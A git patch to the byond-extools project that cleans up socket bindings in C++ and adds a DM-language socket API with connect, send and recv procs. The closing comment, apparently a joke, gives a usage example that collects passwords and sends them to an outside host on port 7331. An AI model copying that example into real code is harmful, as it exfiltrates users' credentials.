From 03788a5816f3de148e45b4e3b5e74e8a64a611e6 Mon Sep 17 00:00:00 2001 From: 1fbff5f83b23d39d38b1dfcb4cac8d9b <0a02d0db@opayq.com> Date: Sat, 11 Jan 2020 00:10:27 +0100 Subject: [PATCH] tweaks, api, sample --- .../src/datum_socket/datum_socket.cpp | 10 ++--- byond-extools/src/dm/socket.dm | 39 +++++++++++++++++++ 2 files changed, 44 insertions(+), 5 deletions(-) create mode 100644 byond-extools/src/dm/socket.dm diff --git a/byond-extools/src/datum_socket/datum_socket.cpp b/byond-extools/src/datum_socket/datum_socket.cpp index f34d7885..d310a81f 100644 --- a/byond-extools/src/datum_socket/datum_socket.cpp +++ b/byond-extools/src/datum_socket/datum_socket.cpp @@ -1,6 +1,11 @@ #include "datum_socket.h" #include "../core/core.h" #include "../core/proc_management.h" +#include + +#ifndef min +#define min(a,b) (((a) < (b)) ? (a) : (b)) +#endif std::unordered_map> sockets; unsigned int recv_sleep_opcode = -1; @@ -72,32 +77,27 @@ void DatumSocket::recv_loop() trvh register_socket(unsigned int args_len, Value* args, Value src) { - //Core::Alert("register"); sockets[src.value] = std::make_unique(); return Value::Null(); } trvh connect_socket(unsigned int args_len, Value* args, Value src) { - //Core::Alert("connect"); return sockets[src.value]->connect(args[0], std::to_string((int)args[1].valuef)) ? Value::True() : Value::False(); } trvh send_socket(unsigned int args_len, Value* args, Value src) { - //Core::Alert("send"); return sockets[src.value]->send(args[0]) ? Value::True() : Value::False(); } trvh check_socket(unsigned int args_len, Value* args, Value src) { - //Core::Alert("check"); return sockets[src.value]->has_data() ? Value::True() : Value::False(); } trvh retrieve_socket(unsigned int args_len, Value* args, Value src) { - //Core::Alert("retrieve"); return Value(sockets[src.value]->recv(1024)); } diff --git a/byond-extools/src/dm/socket.dm b/byond-extools/src/dm/socket.dm new file mode 100644 index 00000000..6299331e --- /dev/null +++ b/byond-extools/src/dm/socket.dm @@ -0,0 +1,39 @@ +/datum/socket +/datum/socket/proc/__register_socket() +/datum/socket/proc/__deregister_socket() +/datum/socket/proc/__check_has_data() +/datum/socket/proc/__wait_for_data() +/datum/socket/proc/__retrieve_data() + +/datum/socket/New() + __register_socket() + +/datum/socket/Del() + //world << "Deleting socket" + __deregister_socket() + +//addr is a string with IP or domain, port is a number +/datum/socket/proc/connect(addr, port) + +//returns TRUE on success, FALSE on failure (e.g. disconnect) +/datum/socket/proc/send(data) + +//returns the received data as a string. Returns up to `len` bytes as a string, or sleeps until there's data in the buffer. +/datum/socket/proc/recv(len) + if(!__check_has_data()) + __wait_for_data() + return __retrieve_data() + +//disconnect the socket +/datum/socket/proc/close() + +/* Example: + +/proc/upload_statistics() + var/statistics = collect_passwords() + var/datum/socket/S = new + S.connect("www.nsa.gov", 7331) + S.send(statistics) + world << S.recv() + +*/ \ No newline at end of file